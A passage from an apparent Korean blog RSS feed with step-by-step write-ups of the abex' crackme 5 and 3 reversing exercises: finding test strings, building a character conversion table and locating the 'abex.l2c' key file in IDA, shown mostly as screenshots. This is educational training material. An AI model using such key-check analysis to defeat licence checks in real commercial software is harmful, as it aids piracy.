&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;13.png&quot; data-origin-width=&quot;1920&quot; data-origin-height=&quot;1040&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/dPe8K8/btsp7T9VJc7/livRBcOyjIkvukyHu5uGTk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/dPe8K8/btsp7T9VJc7/livRBcOyjIkvukyHu5uGTk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/dPe8K8/btsp7T9VJc7/livRBcOyjIkvukyHu5uGTk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FdPe8K8%2Fbtsp7T9VJc7%2FlivRBcOyjIkvukyHu5uGTk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1920&quot; height=&quot;1040&quot; data-filename=&quot;13.png&quot; data-origin-width=&quot;1920&quot; data-origin-height=&quot;1040&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;14.&amp;nbsp;테스트&amp;nbsp;값으로&amp;nbsp;추정되는&amp;nbsp;부분을&amp;nbsp;확인하기&amp;nbsp;위해서&amp;nbsp;이번엔&amp;nbsp;&quot;22222222222222222&quot;&amp;nbsp;테스트값을&amp;nbsp;입력하였습니다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;14.png&quot; data-origin-width=&quot;1920&quot; data-origin-height=&quot;1040&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/UimbH/btsqj3i4VNO/DViYiKjqhqovAzYkKrbhUK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/UimbH/btsqj3i4VNO/DViYiKjqhqovAzYkKrbhUK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/UimbH/btsqj3i4VNO/DViYiKjqhqovAzYkKrbhUK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FUimbH%2Fbtsqj3i4VNO%2FDViYiKjqhqovAzYkKrbhUK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1920&quot; height=&quot;1040&quot; data-filename=&quot;14.png&quot; data-origin-width=&quot;1920&quot; data-origin-height=&quot;1040&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;15.&amp;nbsp;확인&amp;nbsp;시&amp;nbsp;1&amp;nbsp;-&amp;gt;&amp;nbsp;31h,&amp;nbsp;2&amp;nbsp;-&amp;gt;&amp;nbsp;32h로&amp;nbsp;변환된&amp;nbsp;것을&amp;nbsp;확인&amp;nbsp;할&amp;nbsp;수&amp;nbsp;있었습니다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;15.png&quot; data-origin-width=&quot;1920&quot; data-origin-height=&quot;1040&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/kBKjd/btsqm7Fy1ZE/TXxDY2hL2ahXLIQmmv7sLK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/kBKjd/btsqm7Fy1ZE/TXxDY2hL2ahXLIQmmv7sLK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/kBKjd/btsqm7Fy1ZE/TXxDY2hL2ahXLIQmmv7sLK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FkBKjd%2Fbtsqm7Fy1ZE%2FTXxDY2hL2ahXLIQmmv7sLK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1920&quot; height=&quot;1040&quot; data-filename=&quot;15.png&quot; data-origin-width=&quot;1920&quot; data-origin-height=&quot;1040&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;16.&amp;nbsp;키보드에&amp;nbsp;있는&amp;nbsp;문자들을&amp;nbsp;입력하여&amp;nbsp;다음과&amp;nbsp;같이&amp;nbsp;표를&amp;nbsp;작성하여&amp;nbsp;표를&amp;nbsp;이용하여&amp;nbsp;lpString2문자열을&amp;nbsp;변환하였습니다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;16.png&quot; data-origin-width=&quot;1194&quot; data-origin-height=&quot;527&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/Mao9S/btsp8zDsElH/iVBg9tFTyLj4oIu6rD7iyk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/Mao9S/btsp8zDsElH/iVBg9tFTyLj4oIu6rD7iyk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/Mao9S/btsp8zDsElH/iVBg9tFTyLj4oIu6rD7iyk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FMao9S%2Fbtsp8zDsElH%2FiVBg9tFTyLj4oIu6rD7iyk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1194&quot; height=&quot;527&quot; data-filename=&quot;16.png&quot; data-origin-width=&quot;1194&quot; data-origin-height=&quot;527&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;17.&amp;nbsp;변환된&amp;nbsp;값을&amp;nbsp;crackme5.exe에&amp;nbsp;입력하였습니다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;17.png&quot; data-origin-width=&quot;308&quot; data-origin-height=&quot;66&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/EzSSF/btsp9qMXLBf/abDASg3xTdg7HSkPKzmFnK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/EzSSF/btsp9qMXLBf/abDASg3xTdg7HSkPKzmFnK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/EzSSF/btsp9qMXLBf/abDASg3xTdg7HSkPKzmFnK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FEzSSF%2Fbtsp9qMXLBf%2FabDASg3xTdg7HSkPKzmFnK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;308&quot; height=&quot;66&quot; data-filename=&quot;17.png&quot; data-origin-width=&quot;308&quot; data-origin-height=&quot;66&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;18.&amp;nbsp;정답이라는&amp;nbsp;것을&amp;nbsp;확인하였습니다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;18.png&quot; data-origin-width=&quot;214&quot; data-origin-height=&quot;128&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/AGbNN/btsp6qtLWBB/dT2rkGYpdLCaqhClAaAKH1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/AGbNN/btsp6qtLWBB/dT2rkGYpdLCaqhClAaAKH1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/AGbNN/btsp6qtLWBB/dT2rkGYpdLCaqhClAaAKH1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FAGbNN%2Fbtsp6qtLWBB%2FdT2rkGYpdLCaqhClAaAKH1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;214&quot; height=&quot;128&quot; data-filename=&quot;18.png&quot; data-origin-width=&quot;214&quot; data-origin-height=&quot;128&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;</description>
      <category>공부/리버싱문제</category>
      <category>abex' crackme</category>
      <category>abex' crackme 5번문제</category>
      <category>abex' crackme문제</category>
      <category>crackme 5번문제</category>
      <category>crackme5</category>
      <category>crackme5번문제</category>
      <category>리버싱</category>
      <category>리버싱문제</category>
      <category>해킹</category>
      <category>해킹문제</category>
      <author>notepad.exe</author>
      <guid isPermaLink="true">https://geru.tistory.com/118</guid>
      <comments>https://geru.tistory.com/118#entry118comment</comments>
      <pubDate>Sat, 12 Aug 2023 09:00:48 +0900</pubDate>
    </item>
    <item>
      <title>[abex' crackme] crackeme3 문제</title>
      <link>https://geru.tistory.com/117</link>
      <description>&lt;p data-ke-size=&quot;size16&quot;&gt;1.&amp;nbsp;crackme3.exe를&amp;nbsp;실행하였습니다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;1.png&quot; data-origin-width=&quot;1125&quot; data-origin-height=&quot;634&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/blZGbC/btsp6rsFp2l/uNCkJ3XwPdAVBFoDCUi5o0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/blZGbC/btsp6rsFp2l/uNCkJ3XwPdAVBFoDCUi5o0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/blZGbC/btsp6rsFp2l/uNCkJ3XwPdAVBFoDCUi5o0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FblZGbC%2Fbtsp6rsFp2l%2FuNCkJ3XwPdAVBFoDCUi5o0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1125&quot; height=&quot;634&quot; data-filename=&quot;1.png&quot; data-origin-width=&quot;1125&quot; data-origin-height=&quot;634&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;2.&amp;nbsp;키&amp;nbsp;파일을&amp;nbsp;체크한다는&amp;nbsp;것을&amp;nbsp;확인하였습니다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;2.png&quot; data-origin-width=&quot;211&quot; data-origin-height=&quot;128&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/Os27i/btsqj3wBYJH/XpMmGLzPkEmFqXIekNknYk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/Os27i/btsqj3wBYJH/XpMmGLzPkEmFqXIekNknYk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/Os27i/btsqj3wBYJH/XpMmGLzPkEmFqXIekNknYk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FOs27i%2Fbtsqj3wBYJH%2FXpMmGLzPkEmFqXIekNknYk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;211&quot; height=&quot;128&quot; data-filename=&quot;2.png&quot; data-origin-width=&quot;211&quot; data-origin-height=&quot;128&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;3.&amp;nbsp;키&amp;nbsp;파일이&amp;nbsp;존재하지&amp;nbsp;않을&amp;nbsp;때의&amp;nbsp;반응을&amp;nbsp;확인하였습니다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;3.png&quot; data-origin-width=&quot;205&quot; data-origin-height=&quot;128&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bjjNV1/btsp34LbTBj/iSrWJvi33vPNJGuv4bJuMK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bjjNV1/btsp34LbTBj/iSrWJvi33vPNJGuv4bJuMK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bjjNV1/btsp34LbTBj/iSrWJvi33vPNJGuv4bJuMK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbjjNV1%2Fbtsp34LbTBj%2FiSrWJvi33vPNJGuv4bJuMK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;205&quot; height=&quot;128&quot; data-filename=&quot;3.png&quot; data-origin-width=&quot;205&quot; data-origin-height=&quot;128&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;4.&amp;nbsp;아이다&amp;nbsp;툴을&amp;nbsp;이용하였으며,&amp;nbsp;키&amp;nbsp;파일을&amp;nbsp;체크한다는&amp;nbsp;문자열과&amp;nbsp;오답일&amp;nbsp;때의&amp;nbsp;문자열을&amp;nbsp;확인하였습니다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;4.png&quot; data-origin-width=&quot;1920&quot; data-origin-height=&quot;1040&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/kNLOy/btsp35iZtPy/J9MwrLpVMQAtKxtB7eHgG1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/kNLOy/btsp35iZtPy/J9MwrLpVMQAtKxtB7eHgG1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/kNLOy/btsp35iZtPy/J9MwrLpVMQAtKxtB7eHgG1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FkNLOy%2Fbtsp35iZtPy%2FJ9MwrLpVMQAtKxtB7eHgG1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1920&quot; height=&quot;1040&quot; data-filename=&quot;4.png&quot; data-origin-width=&quot;1920&quot; data-origin-height=&quot;1040&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;5.&amp;nbsp;키&amp;nbsp;파일의&amp;nbsp;이름으로&amp;nbsp;추측되는&amp;nbsp;&quot;abex.l2c&quot;를&amp;nbsp;확인하였습니다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;5.png&quot; data-origin-width=&quot;1920&quot; data-origin-height=&quot;1040&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/BPqcJ/btsqm6NpVOG/BfNKDFm3JPv3fLyFLPmH20/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/BPqcJ/btsqm6NpVOG/BfNKDFm3JPv3fLyFLPmH20/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/BPqcJ/btsqm6NpVOG/BfNKDFm3JPv3fLyFLPmH20/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FBPqcJ%2Fbtsqm6NpVOG%2FBfNKDFm3JPv3fLyFLPmH20%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1920&quot; height=&quot;1040&quot; data-filename=&quot;5.png&quot; data-origin-width=&quot;1920&quot; data-origin-height=&quot;1040&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;6.&amp;nbsp;&quot;abex.l2c&quot;&amp;nbsp;파일을&amp;nbsp;생성하였습니다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;6.png&quot; data-origin-width=&quot;1125&quot; data-origin-height=&quot;634&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/wwy2G/btsp2jaJKeS/PxkbYJLaKH3PudcMTjkOq0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/wwy2G/btsp2jaJKeS/PxkbYJLaKH3PudcMTjkOq0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/wwy2G/btsp2jaJKeS/PxkbYJLaKH3PudcMTjkOq0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fwwy2G%2Fbtsp2jaJKeS%2FPxkbYJLaKH3PudcMTjkOq0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1125&quot; height=&quot;634&quot; data-filename=&quot;6.png&quot; data-origin-width=&quot;1125&quot; data-origin-height=&quot;634&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;7.&amp;nbsp;crackme3.exe&amp;nbsp;실행&amp;nbsp;시&amp;nbsp;분기에서&amp;nbsp;오답쪽이&amp;nbsp;아닌&amp;nbsp;다른&amp;nbsp;부분쪽으로&amp;nbsp;진행되는&amp;nbsp;것을&amp;nbsp;확인하였습니다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;7.png&quot; data-origin-width=&quot;1920&quot; data-origin-height=&quot;1040&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bZCVos/btsp336vqAo/naB232dXkcQifKEIYqKwg1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bZCVos/btsp336vqAo/naB232dXkcQifKEIYqKwg1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bZCVos/btsp336vqAo/naB232dXkcQifKEIYqKwg1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbZCVos%2Fbtsp336vqAo%2FnaB232dXkcQifKEIYqKwg1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1920&quot; height=&quot;1040&quot; data-filename=&quot;7.png&quot; data-origin-width=&quot;1920&quot; data-origin-height=&quot;1040&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;8.&amp;nbsp;계속&amp;nbsp;진행&amp;nbsp;시&amp;nbsp;정답쪽이&amp;nbsp;아닌&amp;nbsp;키&amp;nbsp;파일의&amp;nbsp;값이&amp;nbsp;없다는&amp;nbsp;오답쪽으로&amp;nbsp;진행되는&amp;nbsp;것을&amp;nbsp;확인하였습니다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;8.png&quot; data-origin-width=&quot;1920&quot; data-origin-height=&quot;1040&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/RwQzA/btsqh34xiYB/RAQ7ROKS5YqpEuzVbHkIv0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/RwQzA/btsqh34xiYB/RAQ7ROKS5YqpEuzVbHkIv0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/RwQzA/btsqh34xiYB/RAQ7ROKS5YqpEuzVbHkIv0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FRwQzA%2Fbtsqh34xiYB%2FRAQ7ROKS5YqpEuzVbHkIv0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1920&quot; height=&quot;1040&quot; data-filename=&quot;8.png&quot; data-origin-width=&quot;1920&quot; data-origin-height=&quot;1040&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;9.&amp;nbsp;키&amp;nbsp;파일의&amp;nbsp;값이&amp;nbsp;없다는&amp;nbsp;메시지&amp;nbsp;박스를&amp;nbsp;확인하였습니다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;9.png&quot; data-origin-width=&quot;224&quot; data-origin-height=&quot;128&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/CF47O/btsp8aXZBGs/BGbmoJIMfVnVoqx9Yf59X0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/CF47O/btsp8aXZBGs/BGbmoJIMfVnVoqx9Yf59X0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/CF47O/btsp8aXZBGs/BGbmoJIMfVnVoqx9Yf59X0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FCF47O%2Fbtsp8aXZBGs%2FBGbmoJIMfVnVoqx9Yf59X0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;224&quot; height=&quot;128&quot; data-filename=&quot;9.png&quot; data-origin-width=&quot;224&quot; data-origin-height=&quot;128&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;10.&amp;nbsp;GetFileSzie&amp;nbsp;함수가&amp;nbsp;호출되는&amp;nbsp;것을&amp;nbsp;확인하였으며,&amp;nbsp;파일&amp;nbsp;사이즈가&amp;nbsp;이용되는&amp;nbsp;것으로&amp;nbsp;추측하였습니다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;10.png&quot; data-origin-width=&quot;1920&quot; data-origin-height=&quot;1040&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/4Ld0H/btsp34LbWs5/Y32xDCkPPbzKciKferKYSK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/4Ld0H/btsp34LbWs5/Y32xDCkPPbzKciKferKYSK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/4Ld0H/btsp34LbWs5/Y32xDCkPPbzKciKferKYSK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2F4Ld0H%2Fbtsp34LbWs5%2FY32xDCkPPbzKciKferKYSK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1920&quot; height=&quot;1040&quot; data-filename=&quot;10.png&quot; data-origin-width=&quot;1920&quot; data-origin-height=&quot;1040&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;11.&amp;nbsp;키&amp;nbsp;파일에&amp;nbsp;임의의&amp;nbsp;값&amp;nbsp;&quot;00000&quot;를&amp;nbsp;입력하고&amp;nbsp;저장하였습니다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;11.png&quot; data-origin-width=&quot;781&quot; data-origin-height=&quot;483&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/K8jaX/btsp8YwcITL/pY9F1oDmIlKBQIUlfmbajk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/K8jaX/btsp8YwcITL/pY9F1oDmIlKBQIUlfmbajk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/K8jaX/btsp8YwcITL/pY9F1oDmIlKBQIUlfmbajk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FK8jaX%2Fbtsp8YwcITL%2FpY9F1oDmIlKBQIUlfmbajk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;781&quot; height=&quot;483&quot; data-filename=&quot;11.png&quot; 